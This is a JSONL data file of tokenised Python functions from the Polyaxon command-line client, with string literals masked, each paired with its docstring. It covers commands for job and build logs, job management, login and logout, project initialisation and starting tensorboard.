{"signature": "@build.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def logs(ctx, past, follow, hide_time):", "body": "user, project_name, _build = get_build_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>if past:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().build_job.logs(<EOL>user, project_name, _build, stream=False)<EOL>get_logs_handler(handle_job_info=False,<EOL>show_timestamp=not hide_time,<EOL>stream=False)(response.content.decode().split('<STR_LIT:\\n>'))<EOL>print()<EOL>if not follow:<EOL><INDENT>return<EOL><DEDENT><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>if not follow:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>PolyaxonClient().build_job.logs(<EOL>user,<EOL>project_name,<EOL>_build,<EOL>message_handler=get_logs_handler(handle_job_info=False, show_timestamp=not hide_time))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_build))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Get build logs.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon build -b 2 logs\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon build logs\n    ```", "id": "f1045:m10"}
{"signature": "@click.group()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=str, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def job(ctx, project, job):  ", "body": "ctx.obj = ctx.obj or {}<EOL>ctx.obj['<STR_LIT>'] = project<EOL>ctx.obj['<STR_LIT>'] = job<EOL>", "docstring": "Commands for jobs.", "id": "f1046:m1"}
{"signature": "@job.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def get(ctx):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>response = PolyaxonClient().job.get_job(user, project_name, _job)<EOL>cache.cache(config_manager=JobManager, response=response)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_job_details(response)<EOL>", "docstring": "Get job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job --job=1 get\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon job --job=1 --project=project_name get\n    ```", "id": "f1046:m2"}
{"signature": "@job.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def delete(ctx):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>if not click.confirm(\"<STR_LIT>\".format(_job)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().job.delete_job(<EOL>user, project_name, _job)<EOL>JobManager.purge()<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if response.status_code == <NUM_LIT>:<EOL><INDENT>Printer.print_success(\"<STR_LIT>\".format(_job))<EOL><DEDENT>", "docstring": "Delete job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon job delete\n    ```", "id": "f1046:m3"}
{"signature": "@job.command()<EOL>@click.option('<STR_LIT>', type=str,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=str, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def update(ctx, name, description, tags):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>update_dict = {}<EOL>if name:<EOL><INDENT>update_dict['<STR_LIT:name>'] = name<EOL><DEDENT>if description:<EOL><INDENT>update_dict['<STR_LIT:description>'] = description<EOL><DEDENT>tags = validate_tags(tags)<EOL>if tags:<EOL><INDENT>update_dict['<STR_LIT>'] = tags<EOL><DEDENT>if not update_dict:<EOL><INDENT>Printer.print_warning('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>response = PolyaxonClient().job.update_job(<EOL>user, project_name, _job, update_dict)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>get_job_details(response)<EOL>", "docstring": "Update job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example:\n\n    \\b\n    ```bash\n    $ polyaxon job -j 2 update --description=\"new description for my job\"\n    ```", "id": "f1046:m4"}
{"signature": "@job.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def stop(ctx, yes):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>if not yes and not click.confirm(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(_job)):<EOL><INDENT>click.echo('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>try:<EOL><INDENT>PolyaxonClient().job.stop(user, project_name, _job)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Stop job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job stop\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon job -xp 2 stop\n    ```", "id": "f1046:m5"}
{"signature": "@job.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT:-c>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, type=click.Path(exists=True),<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def restart(ctx, copy, file, u):  ", "body": "config = None<EOL>update_code = None<EOL>if file:<EOL><INDENT>config = rhea.read(file)<EOL><DEDENT>if u:<EOL><INDENT>ctx.invoke(upload, sync=False)<EOL>update_code = True<EOL><DEDENT>user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>if copy:<EOL><INDENT>response = PolyaxonClient().job.copy(<EOL>user, project_name, _job, config=config, update_code=update_code)<EOL><DEDENT>else:<EOL><INDENT>response = PolyaxonClient().job.restart(<EOL>user, project_name, _job, config=config, update_code=update_code)<EOL><DEDENT><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_job_details(response)<EOL>", "docstring": "Restart job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job --job=1 restart\n    ```", "id": "f1046:m6"}
{"signature": "@job.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, type=click.Path(exists=True),<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def resume(ctx, file, u):  ", "body": "config = None<EOL>update_code = None<EOL>if file:<EOL><INDENT>config = rhea.read(file)<EOL><DEDENT>if u:<EOL><INDENT>ctx.invoke(upload, sync=False)<EOL>update_code = True<EOL><DEDENT>user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'),<EOL>ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>response = PolyaxonClient().job.resume(<EOL>user, project_name, _job, config=config, update_code=update_code)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>get_job_details(response)<EOL>", "docstring": "Resume job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job --job=1 resume\n    ```", "id": "f1046:m7"}
{"signature": "@job.command()<EOL>@click.option('<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def statuses(ctx, page):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>page = page or <NUM_LIT:1><EOL>try:<EOL><INDENT>response = PolyaxonClient().job.get_statuses(user, project_name, _job, page=page)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>meta = get_meta_response(response)<EOL>if meta:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_job))<EOL>Printer.print_header('<STR_LIT>')<EOL>dict_tabulate(meta)<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>'.format(_job))<EOL><DEDENT>objects = list_dicts_to_tabulate(<EOL>[Printer.add_status_color(o.to_light_dict(humanize_values=True), status_key='<STR_LIT:status>')<EOL>for o in response['<STR_LIT>']])<EOL>if objects:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\")<EOL>objects.pop('<STR_LIT>', None)<EOL>dict_tabulate(objects, is_list_dict=True)<EOL><DEDENT>", "docstring": "Get job statuses.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job -j 2 statuses\n    ```", "id": "f1046:m8"}
{"signature": "@job.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def resources(ctx, gpu):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>message_handler = Printer.gpu_resources if gpu else Printer.resources<EOL>PolyaxonClient().job.resources(user,<EOL>project_name,<EOL>_job,<EOL>message_handler=message_handler)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Get job resources.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job -j 2 resources\n    ```\n\n    For GPU resources\n\n    \\b\n    ```bash\n    $ polyaxon job -j 2 resources --gpu\n    ```", "id": "f1046:m9"}
{"signature": "@job.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help=\"<STR_LIT>\")<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def logs(ctx, past, follow, hide_time):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>if past:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().job.logs(<EOL>user, project_name, _job, stream=False)<EOL>get_logs_handler(handle_job_info=False,<EOL>show_timestamp=not hide_time,<EOL>stream=False)(response.content.decode().split('<STR_LIT:\\n>'))<EOL>print()<EOL>if not follow:<EOL><INDENT>return<EOL><DEDENT><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>if not follow:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>PolyaxonClient().job.logs(<EOL>user,<EOL>project_name,<EOL>_job,<EOL>message_handler=get_logs_handler(handle_job_info=False, show_timestamp=not hide_time))<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Get job logs.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job -j 2 logs\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon job logs\n    ```", "id": "f1046:m10"}
{"signature": "@job.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def outputs(ctx):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().job.download_outputs(user, project_name, _job)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success('<STR_LIT>')<EOL>", "docstring": "Download outputs for job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job -j 1 outputs\n    ```", "id": "f1046:m11"}
{"signature": "@job.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def bookmark(ctx):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().job.bookmark(user, project_name, _job)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Bookmark job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job bookmark\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon job -xp 2 bookmark\n    ```", "id": "f1046:m12"}
{"signature": "@job.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def unbookmark(ctx):", "body": "user, project_name, _job = get_job_or_local(ctx.obj.get('<STR_LIT>'), ctx.obj.get('<STR_LIT>'))<EOL>try:<EOL><INDENT>PolyaxonClient().job.unbookmark(user, project_name, _job)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(_job))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Unbookmark job.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples:\n\n    \\b\n    ```bash\n    $ polyaxon job unbookmark\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon job -xp 2 unbookmark\n    ```", "id": "f1046:m13"}
{"signature": "@click.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>')<EOL>@clean_outputs<EOL>def login(token, username, password):", "body": "auth_client = PolyaxonClient().auth<EOL>if username:<EOL><INDENT>if not password:<EOL><INDENT>password = click.prompt('<STR_LIT>', type=str, hide_input=True)<EOL>password = password.strip()<EOL>if not password:<EOL><INDENT>logger.info('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>credentials = CredentialsConfig(username=username, password=password)<EOL>try:<EOL><INDENT>access_code = auth_client.login(credentials=credentials)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if not access_code:<EOL><INDENT>Printer.print_error(\"<STR_LIT>\")<EOL>return<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not token:<EOL><INDENT>token_url = \"<STR_LIT>\".format(auth_client.config.http_host)<EOL>click.confirm('<STR_LIT>',<EOL>abort=True, default=True)<EOL>click.launch(token_url)<EOL>logger.info(\"<STR_LIT>\")<EOL>token = click.prompt('<STR_LIT>',<EOL>type=str, hide_input=True)<EOL><DEDENT>if not token:<EOL><INDENT>logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>logger.info(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>access_code = token.strip(\"<STR_LIT:U+0020>\")<EOL><DEDENT>try:<EOL><INDENT>AuthConfigManager.purge()<EOL>user = PolyaxonClient().auth.get_user(token=access_code)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>access_token = AccessTokenConfig(username=user.username, token=access_code)<EOL>AuthConfigManager.set_config(access_token)<EOL>Printer.print_success(\"<STR_LIT>\")<EOL>server_version = get_server_version()<EOL>current_version = get_current_version()<EOL>log_handler = get_log_handler()<EOL>CliConfigManager.reset(check_count=<NUM_LIT:0>,<EOL>current_version=current_version,<EOL>min_version=server_version.min_version,<EOL>log_handler=log_handler)<EOL>", "docstring": "Login to Polyaxon.", "id": "f1053:m0"}
{"signature": "@click.command()<EOL>@clean_outputs<EOL>def logout():", "body": "AuthConfigManager.purge()<EOL>CliConfigManager.purge()<EOL>Printer.print_success(\"<STR_LIT>\")<EOL>", "docstring": "Logout of Polyaxon.", "id": "f1053:m1"}
{"signature": "@click.command()<EOL>@clean_outputs<EOL>def whoami():", "body": "try:<EOL><INDENT>user = PolyaxonClient().auth.get_user()<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>click.echo(\"<STR_LIT>\".format(**user.to_dict()))<EOL>", "docstring": "Show current logged Polyaxon user.", "id": "f1053:m2"}
{"signature": "@click.command()<EOL>@click.argument('<STR_LIT>', type=str)<EOL>@click.option('<STR_LIT>', is_flag=True, default=False, show_default=False,<EOL>help='<STR_LIT>')<EOL>@clean_outputs<EOL>def init(project, polyaxonfile):", "body": "user, project_name = get_project_or_local(project)<EOL>try:<EOL><INDENT>project_config = PolyaxonClient().project.get_project(user, project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project))<EOL>Printer.print_error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>init_project = False<EOL>if ProjectManager.is_initialized():<EOL><INDENT>local_project = ProjectManager.get_config()<EOL>click.echo('<STR_LIT>')<EOL>with clint.textui.indent(<NUM_LIT:4>):<EOL><INDENT>clint.textui.puts('<STR_LIT>'.format(local_project.user))<EOL>clint.textui.puts('<STR_LIT>'.format(local_project.name))<EOL><DEDENT>if click.confirm('<STR_LIT>', default=False):<EOL><INDENT>init_project = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>init_project = True<EOL><DEDENT>if init_project:<EOL><INDENT>ProjectManager.purge()<EOL>ProjectManager.set_config(project_config, init=True)<EOL>Printer.print_success('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>')<EOL><DEDENT>init_ignore = False<EOL>if IgnoreManager.is_initialized():<EOL><INDENT>click.echo('<STR_LIT>')<EOL>if click.confirm('<STR_LIT>', default=False):<EOL><INDENT>init_ignore = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>init_ignore = True<EOL><DEDENT>if init_ignore:<EOL><INDENT>IgnoreManager.init_config()<EOL>Printer.print_success('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>Printer.print_header('<STR_LIT>')<EOL><DEDENT>if polyaxonfile:<EOL><INDENT>create_polyaxonfile()<EOL><DEDENT>", "docstring": "Initialize a new polyaxonfile specification.", "id": "f1054:m1"}
{"signature": "@tensorboard.command()<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def url(ctx):", "body": "user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>group = ctx.obj.get('<STR_LIT>')<EOL>experiment = ctx.obj.get('<STR_LIT>')<EOL>if experiment:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment.get_experiment(<EOL>username=user,<EOL>project_name=project_name,<EOL>experiment_id=experiment)<EOL>obj = '<STR_LIT>'.format(experiment)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>elif group:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment_group.get_experiment_group(<EOL>username=user,<EOL>project_name=project_name,<EOL>group_id=group)<EOL>obj = '<STR_LIT>'.format(group)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().project.get_project(<EOL>username=user,<EOL>project_name=project_name)<EOL>obj = '<STR_LIT>'.format(project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if response.has_tensorboard:<EOL><INDENT>click.echo(get_tensorboard_url(user=user,<EOL>project_name=project_name,<EOL>experiment=experiment,<EOL>group=group))<EOL><DEDENT>else:<EOL><INDENT>Printer.print_warning('<STR_LIT>'.format(obj))<EOL>click.echo('<STR_LIT>')<EOL><DEDENT>", "docstring": "Prints the tensorboard url for project/experiment/experiment group.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Examples for project tensorboards:\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard url\n    ```\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard -p mnist url\n    ```\n\n    Examples for experiment tensorboards:\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard -xp 1 url\n    ```\n\n    Examples for experiment group tensorboards:\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard -g 1 url\n    ```", "id": "f1055:m2"}
{"signature": "@tensorboard.command()<EOL>@click.option('<STR_LIT>', '<STR_LIT>', multiple=True, type=click.Path(exists=True),<EOL>help='<STR_LIT>')<EOL>@click.pass_context<EOL>@clean_outputs<EOL>def start(ctx, file):  ", "body": "specification = None<EOL>job_config = None<EOL>if file:<EOL><INDENT>specification = check_polyaxonfile(file, log=False).specification<EOL><DEDENT>if specification:<EOL><INDENT>check_polyaxonfile_kind(specification=specification, kind=specification._TENSORBOARD)<EOL>job_config = specification.parsed_data<EOL><DEDENT>user, project_name = get_project_or_local(ctx.obj.get('<STR_LIT>'))<EOL>group = ctx.obj.get('<STR_LIT>')<EOL>experiment = ctx.obj.get('<STR_LIT>')<EOL>if experiment:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment.start_tensorboard(<EOL>username=user,<EOL>project_name=project_name,<EOL>experiment_id=experiment,<EOL>job_config=job_config)<EOL>obj = '<STR_LIT>'.format(experiment)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(experiment))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>elif group:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().experiment_group.start_tensorboard(<EOL>username=user,<EOL>project_name=project_name,<EOL>group_id=group,<EOL>job_config=job_config)<EOL>obj = '<STR_LIT>'.format(group)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(group))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>response = PolyaxonClient().project.start_tensorboard(<EOL>username=user,<EOL>project_name=project_name,<EOL>job_config=job_config)<EOL>obj = '<STR_LIT>'.format(project_name)<EOL><DEDENT>except (PolyaxonHTTPError, PolyaxonShouldExitError, PolyaxonClientException) as e:<EOL><INDENT>Printer.print_error('<STR_LIT>'.format(project_name))<EOL>Printer.print_error('<STR_LIT>'.format(e))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if response.status_code == <NUM_LIT:200>:<EOL><INDENT>Printer.print_header(\"<STR_LIT>\".format(obj))<EOL>click.echo(get_tensorboard_url(user=user,<EOL>project_name=project_name,<EOL>experiment=experiment,<EOL>group=group))<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>if response.status_code != <NUM_LIT>:<EOL><INDENT>Printer.print_error('<STR_LIT>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>Printer.print_success('<STR_LIT>'.format(obj))<EOL>clint.textui.puts(\"<STR_LIT>\")<EOL>clint.textui.puts(\"<STR_LIT>\")<EOL>with clint.textui.indent(<NUM_LIT:4>):<EOL><INDENT>clint.textui.puts(get_tensorboard_url(user, project_name, experiment, group))<EOL><DEDENT>", "docstring": "Start a tensorboard deployment for project/experiment/experiment group.\n\n    Project tensorboard will aggregate all experiments under the project.\n\n    Experiment group tensorboard will aggregate all experiments under the group.\n\n    Experiment tensorboard will show all metrics for an experiment.\n\n    Uses [Caching](/references/polyaxon-cli/#caching)\n\n    Example: using the default tensorflow image 1.4.1.\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard start\n    ```\n\n    Example: with custom image and resources\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard start -f file -f file_override ...\n    ```\n\n    Example: starting a tensorboard for an experiment group\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard -g 1 start -f file\n    ```\n\n    Example: starting a tensorboard for an experiment\n\n    \\b\n    ```bash\n    $ polyaxon tensorboard -xp 112 start -f file\n    ```", "id": "f1055:m3"}
